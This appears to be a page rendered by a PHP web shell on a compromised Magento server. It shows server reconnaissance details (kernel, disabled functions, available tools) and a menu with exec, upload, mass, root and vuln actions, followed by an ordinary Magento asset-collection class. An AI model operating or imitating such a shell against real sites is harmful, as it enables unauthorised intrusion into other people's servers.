Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 24 Aug 2025 05:44:15
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/View/Asset/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/View/Asset/GroupedCollection.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\View\Asset; /** * List of page assets that combines into groups ones having the same properties * * @api * @since 100.0.2 */ class GroupedCollection extends Collection { /**#@+ * Special properties, enforced to be grouped by */ const PROPERTY_CONTENT_TYPE = 'content_type'; const PROPERTY_CAN_MERGE = 'can_merge'; /**#@-*/ /**#@-*/ protected $propertyFactory; /** * Property Groups * * @var PropertyGroup[] */ protected $groups = []; /** * Constructor * * @param PropertyGroupFactory $propertyFactory */ public function __construct(PropertyGroupFactory $propertyFactory) { $this->propertyFactory = $propertyFactory; } /** * Add an instance, identified by a unique identifier, to the list and to the corresponding group * * @param string $identifier * @param AssetInterface $asset * @param array $properties * @return void */ public function add($identifier, AssetInterface $asset, array $properties = []) { parent::add($identifier, $asset); $properties = $this->getFilteredProperties($asset, $properties); $this->getGroupFor($properties)->add($identifier, $asset); } /** * @param string $identifier * @param AssetInterface $asset * @param string $key * @return void */ public function insert($identifier, AssetInterface $asset, $key) { parent::insert($identifier, $asset, $key); $properties = $this->getFilteredProperties($asset); $this->getGroupFor($properties)->insert($identifier, $asset, $key); } /** * @param AssetInterface $asset * @param array $properties * @return array */ public function getFilteredProperties(AssetInterface $asset, $properties = []) { $properties = array_filter($properties); $properties[self::PROPERTY_CONTENT_TYPE] = $asset->getContentType(); $properties[self::PROPERTY_CAN_MERGE] = $asset instanceof MergeableInterface; return $properties; } /** * Retrieve existing or new group matching the properties * * @param array $properties * @return PropertyGroup */ private function getGroupFor(array $properties) { /** @var $existingGroup PropertyGroup */ foreach ($this->groups as $existingGroup) { if ($existingGroup->getProperties() == $properties) { return $existingGroup; } } /** @var $newGroup PropertyGroup */ $newGroup = $this->propertyFactory->create(['properties' => $properties]); $this->groups[] = $newGroup; return $newGroup; } /** * Remove an instance from the list and from the corresponding group * * @param string $identifier * @return void */ public function remove($identifier) { parent::remove($identifier); /** @var PropertyGroup $group */ foreach ($this->groups as $group) { if ($group->has($identifier)) { $group->remove($identifier); return; } } } /** * Retrieve groups, containing assets that have the same properties * * @return PropertyGroup[] */ public function getGroups() { return $this->groups; } /** * Get asset group by content type * * @param string $contentType * @return bool|PropertyGroup */ public function getGroupByContentType($contentType) { foreach ($this->groups as $group) { if ($group->getProperty(self::PROPERTY_CONTENT_TYPE) == $contentType) { return $group; } } return false; } }